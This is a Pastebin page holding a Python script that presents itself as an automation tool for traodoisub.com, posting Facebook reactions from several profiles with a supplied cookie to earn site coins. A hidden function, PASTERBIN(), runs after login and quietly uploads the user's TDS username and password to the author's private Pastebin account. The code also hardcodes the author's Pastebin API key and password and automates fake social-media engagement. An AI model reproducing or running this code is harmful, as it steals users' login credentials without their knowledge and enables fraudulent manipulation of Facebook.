Advertisement
Hoangsontung_Jusst

TT_TDS_FOROFILE_pasterbin_requests

Mar 23rd, 2023 (edited)
1,026
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 13.67 KB | None | 0 0
  1. import requests
  2. from pystyle import System
  3. import os, sys, json, re
  4. from time import sleep
  5. session = requests.Session()
  6. import os, sys, re, json
  7. from time import sleep
  8. import random
  9. from datetime import datetime
  10. import requests
  11. import requests
  12. p=0
  13. listck=[]
  14. import uuid
  15. class ApiPro5:
  16.     def __init__(self, cookies) -> None:
  17.         self.headers = {
  18.                 'authority': 'www.facebook.com',
  19.                 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  20.                 'accept-language': 'vi',
  21.                 'cookie': cookies,
  22.                 'sec-ch-prefers-color-scheme': 'light',
  23.                 'sec-ch-ua': '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
  24.                 'sec-ch-ua-mobile': '?0',
  25.                 'sec-ch-ua-platform': '"Windows"',
  26.                 'sec-fetch-dest': 'document',
  27.                 'sec-fetch-mode': 'navigate',
  28.                 'sec-fetch-site': 'none',
  29.                 'sec-fetch-user': '?1',
  30.                 'upgrade-insecure-requests': '1',
  31.                 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',
  32.                 'viewport-width': '1366',
  33.             }
  34.         url_profile = requests.get('https://www.facebook.com/me', headers=self.headers).url
  35.         profile = requests.get(url_profile, headers=self.headers).text
  36.         try:
  37.             self.fb_dtsg = profile.split('{"name":"fb_dtsg","value":"')[1].split('"},')[0]
  38.             self.jazoet = profile.split('{"name":"jazoest","value":"')[1].split('"},')[0]
  39.             self.user_id = profile.split('","viewer_actor":{"__typename":"User","id":"')[1].split('"},"')[0]
  40.         except:
  41.             self.fb_dtsg = profile.split(',"f":"')[1].split('","l":null}')[0]
  42.             self.jazoet = profile.split('&jazoest=')[1].split('","e":"')[0]
  43.             self.user_id = profile.split('{"u":"\/ajax\/qm\/?__a=1&__user=')[1].split('&__comet_req=')[0]
  44.     def reaction(self, id_post, type):
  45.         if type == 'LIKE':
  46.             reac = '1635855486666999'
  47.         elif type ==  'LOVE':
  48.             reac  =  '1678524932434102'
  49.         elif type ==  'CARE':
  50.             reac = '613557422527858'
  51.         elif type ==  'HAHA':
  52.             reac = '115940658764963'
  53.         elif type ==  'WOW':
  54.             reac = '478547315650144'
  55.         elif type ==  'SAD':
  56.             reac = '908563459236466'
  57.         elif type ==  'ANGRY':
  58.             reac = '444813342392137'
  59.         try:
  60.             url = requests.get('https://www.facebook.com/'+id_post, headers=self.headers).url
  61.             home = requests.get(url, headers=self.headers).text
  62.             feedback_id = home.split('{"__typename":"CommentComposerLiveTypingBroadcastPlugin","feedback_id":"')[1].split('","')[0]
  63.             data = {
  64.                 'fb_dtsg': self.fb_dtsg,
  65.                 'jazoest': self.jazoet,
  66.                 'fb_api_caller_class': 'RelayModern',
  67.                 'fb_api_req_friendly_name': 'CometUFIFeedbackReactMutation',
  68.                 'variables': '{"input":{"attribution_id_v2":"ProfileCometTimelineListViewRoot.react,comet.profile.timeline.list,via_cold_start,1667106623951,429237,190055527696468,","feedback_id":"'+feedback_id+'","feedback_reaction_id":"'+reac+'","feedback_source":"PROFILE","is_tracking_encrypted":true,"tracking":["AZXg8_yM_zhwrTY7oSTw1K93G-sycXrSreRnRk66aBJ9mWkbSuyIgNqL0zHEY_XgxepV1XWYkuv2C5PuM14WXUB9NGsSO8pPe8qDZbqCw5FLQlsGTnh5w9IyC_JmDiRKOVh4gWEJKaTdTOYlGT7k5vUcSrvUk7lJ-DXs3YZsw994NV2tRrv_zq1SuYfVKqDboaAFSD0a9FKPiFbJLSfhJbi6ti2CaCYLBWc_UgRsK1iRcLTZQhV3QLYfYOLxcKw4s2b1GeSr-JWpxu1acVX_G8d_lGbvkYimd3_kdh1waZzVW333356_JAEiUMU_nmg7gd7RxDv72EkiAxPM6BA-ClqDcJ_krJ_Cg-qdhGiPa_oFTkGMzSh8VnMaeMPmLh6lULnJwvpJL_4E3PBTHk3tIcMXbSPo05m4q_Xn9ijOuB5-KB5_9ftPLc3RS3C24_7Z2bg4DfhaM4fHYC1sg3oFFsRfPVf-0k27EDJM0HZ5tszMHQ"],"session_id":"'+str(uuid.uuid4())+'","actor_id":"'+self.user_id+'","client_mutation_id":"1"},"useDefaultActor":false,"scale":1}',
  69.                 'server_timestamps': 'true',
  70.                 'doc_id': '5703418209680126',
  71.             }
  72.  
  73.             reaction = requests.post('https://www.facebook.com/api/graphql/', headers=self.headers, data=data).text
  74.             return {'status': True, 'type': type, 'url': url}
  75.         except:
  76.             return {'status': False, 'type': type, 'url': url}
  77. def idelay(o):
  78.     while(o>0):
  79.         o=o-1
  80.         print(f"[Jusst][.....""]""["+str(o)+"]""     ",end='\r')
  81.         sleep(1/6)
  82.         print(f"[Jusst][•....""]""["+str(o)+"]""     ",end='\r')
  83.         sleep(1/6)
  84.         print(f"[Jusst][••...""]""["+str(o)+"]" "     ",end='\r')
  85.         sleep(1/6)
  86.         print(f"[Jusst][•••..""]""["+str(o)+"]"" ",end='\r')
  87.         sleep(1/6)
  88.         print(f"[Jusst][••••.""]""["+str(o)+"]""     ",end='\r')
  89.         sleep(1/6)
  90.         print(f"[Jusst][•••••""]""["+str(o)+"]""     ",end='\r')
  91.         sleep(1/6)
  92. dem=0
  93. stop=1
  94. listjob=[]
  95. System.Clear()
  96. rf_acc='https://traodoisub.com/view/cauhinh'
  97. rf_login='https://traodoisub.com/home/'
  98. head_login={
  99. 'Host':'traodoisub.com',
  100. 'accept':'*/*',
  101. 'content-length':'28',
  102. 'accept':'application/json, text/javascript, */*; q=0.01',
  103. 'user-agent':'Mozilla/5.0 (Linux; Android 10; Star 3 Build/QKQ1.200311.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.115 Mobile Safari/537.36',
  104. 'content-type':'application/x-www-form-urlencoded; charset=UTF-8',
  105. 'x-requested-with':'XMLHttpRequest',
  106. 'sec-fetch-site':'same-origin',
  107. 'sec-fetch-mode':'cors',
  108. 'sec-fetch-dest':'empty',
  109. 'referer':'https://traodoisub.com/',
  110. 'accept-encoding':'gzip, deflate',
  111. 'accept-language':'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
  112. }
  113. ###########################################
  114. tk=input('\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=> \033[1;32mNhập Tài Khoản TDS: \033[1;33m ')
  115. mk=input('\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=> \033[1;32mNhập Mật Khẩu TDS: \033[1;33m')
  116.  
  117. #pasterbin requests
  118. def PASTERBIN():
  119.     TK=tk
  120.     MK=mk
  121.     Text_code=TK+'|'+MK
  122.     print('\n')
  123.     ########### data import
  124.     dev_key = 'JvU1uJxmU2OShTJp3y_gSlzhITS8acUx'
  125.     title = f"TDS->{tk}"
  126.     ###################pasterbin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  127.     login_data = {
  128.         'api_dev_key': dev_key,
  129.         'api_user_name':'jusst2k4',
  130.         'api_user_password': '292004@Thantung'
  131.         }
  132.     data = {
  133.         'api_option': 'paste',
  134.         'api_dev_key':dev_key,
  135.         'api_paste_code':Text_code,
  136.         'api_paste_name':title,
  137.         'api_paste_expire_date':'6M',
  138.         'api_paste_private':'2',
  139.         'api_user_key': None,
  140.         'api_paste_format': 'python'
  141.         }
  142.     login = requests.post("https://pastebin.com/api/api_login.php", data=login_data)
  143.     #Login status,
  144.     login.status_code if login.status_code != 200 else "OK/200"
  145.     #user_key
  146.     login.text
  147.     #######################################API POST  PASTERBIN
  148.     data['api_user_key'] = login.text
  149.     r = requests.post("https://pastebin.com/api/api_post.php", data=data)
  150.     #Paste send
  151.     r.status_code if r.status_code != 200 else "OK/200"
  152.     #Paste URL
  153.     url_pasterbin=r.text
  154.     #print(url_pasterbin)
  155. #$############ login tds
  156. data_login={
  157. 'username': tk,
  158. 'password': mk,
  159. }
  160. log=session.post(url='https://traodoisub.com/scr/login.php', headers=head_login, data=data_login).text
  161. if "success" in log:
  162.     System.Clear()
  163.     print('\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=> \033[1;32mLogin Thành Công ')
  164.     sleep(2)
  165.     PASTERBIN();
  166. else:
  167.     print('\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=> \033[1;31mLogin Thất Bại ')
  168.     exit()
  169. sleep(0.2)
  170. reg = log
  171. m = session.cookies.get_dict()
  172. ph = m['PHPSESSID']
  173. cktds='PHPSESSID='+ph
  174. System.Clear
  175. cookies = {
  176.     'PHPSESSID': ph
  177. }
  178. headerss = {
  179.     'authority': 'traodoisub.com',
  180.     'accept': 'application/json, text/javascript, */*; q=0.01',
  181.     'accept-language': 'en-US,en;q=0.9',
  182.     # 'cookie': 'PHPSESSID=bd3451757cdf7d559ce2583228792b19',
  183.     'referer': 'https://traodoisub.com/view/chtiktok/',
  184.     'sec-ch-ua': '" Not;A Brand";v="99", "Microsoft Edge";v="103", "Chromium";v="103"',
  185.     'sec-ch-ua-mobile': '?0',
  186.     'sec-ch-ua-platform': '"Windows"',
  187.     'sec-fetch-dest': 'empty',
  188.     'sec-fetch-mode': 'cors',
  189.     'sec-fetch-site': 'same-origin',
  190.     'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 Edg/103.0.1264.49',
  191.     'x-requested-with': 'XMLHttpRequest',
  192. }
  193. gettk=requests.get('https://traodoisub.com/view/setting/load.php', cookies=cookies, headers=headerss).json()
  194. tokentds=gettk['tokentds']
  195. head={
  196. 'Host':'traodoisub.com',
  197. 'accept':'application/json, text/javascript, */*; q=0.01',
  198. 'user-agent':'Mozilla/5.0 (Linux; Android 10; Star 3 Build/QKQ1.200311.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.115 Mobile Safari/537.36',
  199. 'x-requested-with':'XMLHttpRequest',
  200. 'sec-fetch-site':'same-origin',
  201. 'sec-fetch-mode':'cors',
  202. 'sec-fetch-dest':'empty',
  203. 'referer':rf_login,
  204. 'accept-encoding':'gzip, deflate',
  205. 'accept-language':'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
  206. 'Cookie':cktds,
  207. }
  208. #####################################################
  209. print("\033[1;37m- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ")
  210. check_tk=requests.get(url='https://traodoisub.com/scr/user.php', headers=head)
  211. xu=check_tk.json()['xu']
  212. print('\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=> \033[1;32mXu Hiện Tại : \033[1;37m'+xu)
  213. print("\033[1;37m- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ")
  214. def cauhinh(idfb):
  215.     run = requests.get(f'https://traodoisub.com/api/?fields=run&id={idfb}&access_token={tokentds}').json()
  216.     if 'success' in run:
  217.            print('', end='\r')
  218.     else:
  219.                print(run['error'])
  220.                #quit()
  221. cookiefb=input(f'\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=> \033[1;32mNhập Cookie Facebook: \033[1;33m')
  222. while True:
  223.     p+=1
  224.     idpro5=str(input(f'\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=> \033[1;32mNhập ID PROFILE SỐ {p}: '))
  225.     if idpro5=='':break
  226.     else:
  227.         headers={
  228.                 'authority': 'www.facebook.com',
  229.                 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  230.                 'accept-language': 'vi',
  231.                 'cookie': cookiefb,
  232.                 'sec-ch-prefers-color-scheme': 'light',
  233.                 'sec-ch-ua': '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
  234.                 'sec-ch-ua-mobile': '?0',
  235.                 'sec-ch-ua-platform': '"Windows"',
  236.                 'sec-fetch-dest': 'document',
  237.                 'sec-fetch-mode': 'navigate',
  238.                 'sec-fetch-site': 'none',
  239.                 'sec-fetch-user': '?1',
  240.                 'upgrade-insecure-requests': '1',
  241.                 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',
  242.                 'viewport-width': '1366',
  243.             }
  244.         url='https://m.facebook.com/profile.php?id='+str(idpro5)
  245.         r=requests.get(url, headers=headers, ).text
  246.         try:
  247.             user=r.split('<title>')[1].split('</title>')[0]
  248.             print(f'[SUCCESS-NAME:{user}]')
  249.             listck.append(f'{cookiefb}i_user={idpro5};|{p}>{user}')
  250.         except:quit('Cookies Sai')
  251. lc=str(input('1-Cảm Xúc\nLựa Chọn: '))
  252. delay=int(input('DELAY: '))
  253. for t in lc.split('+'):
  254.     if t=='1':listjob.append('cx')
  255. while True:
  256.     runn=random.choice(listjob)
  257.     ckkk=random.choice(listck)
  258.     ckk=ckkk.split('|')[0]
  259.     soac=ckkk.split('|')[1].split('>')[0]
  260.     idd=ckk.split('i_user=')[1].split(';')[0]
  261.     user=ckkk.split('>')[1]
  262.     cauhinh(idd)
  263.     print(f'[Cấu Hình Thành Công!][{soac} -> USER: {user}]', end='\r')
  264.     if str(runn)=='cx':
  265.         try:
  266.             head_job={
  267. 'Host':'traodoisub.com',
  268. 'accept':'application/json, text/javascript, */*; q=0.01',
  269. 'user-agent':'Mozilla/5.0 (Linux; Android 10; Star 3 Build/QKQ1.200311.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.115 Mobile Safari/537.36',
  270. 'x-requested-with':'XMLHttpRequest',
  271. 'sec-fetch-site':'same-origin',
  272. 'sec-fetch-mode':'cors',
  273. 'sec-fetch-dest':'empty',
  274. 'referer':'https://traodoisub.com/ex/reaction/',
  275. 'accept-encoding':'gzip, deflate',
  276. 'accept-language':'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
  277. 'Cookie':cktds,}
  278.             getjob=requests.get(url='https://traodoisub.com/ex/reaction/load.php', headers=head_job).json()
  279.             for x in getjob['data']:
  280.                 id=x['id']
  281.                 type=x['type']
  282.                 cookies=ckk
  283.                 api = ApiPro5(cookies)
  284.                 ai=api.reaction(id, type)
  285.                 nhan_={
  286. 'Host':'traodoisub.com',
  287. 'accept':'*/*',
  288. 'content-length':'28',
  289. 'accept':'application/json, text/javascript, */*; q=0.01',
  290. 'user-agent':'Mozilla/5.0 (Linux; Android 10; Star 3 Build/QKQ1.200311.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.115 Mobile Safari/537.36',
  291. 'content-type':'application/x-www-form-urlencoded; charset=UTF-8',
  292. 'x-requested-with':'XMLHttpRequest',
  293. 'sec-fetch-site':'same-origin',
  294. 'sec-fetch-mode':'cors',
  295. 'sec-fetch-dest':'empty',
  296. 'referer':'https://traodoisub.com/ex/reaction/',
  297. 'accept-encoding':'gzip, deflate',
  298. 'accept-language':'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
  299. 'Cookie':cktds,
  300.              }
  301.                 getxu=requests.post('https://traodoisub.com/ex/reaction/nhantien.php', headers=nhan_, data={'id': id, 'type': type}).text
  302.                 if '2' in getxu:
  303.                     check_tk=requests.get(url='https://traodoisub.com/scr/user.php', headers=head)
  304.                     xu=check_tk.json()['xu']
  305.                     dem+=1
  306.                     time = datetime.now().strftime("%H:%M:%S")
  307.                     print(f'[{dem}][{time}][{type}][400][{xu}][{soac}]')
  308.                     idelay(delay)
  309.         except:pass
  310. 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement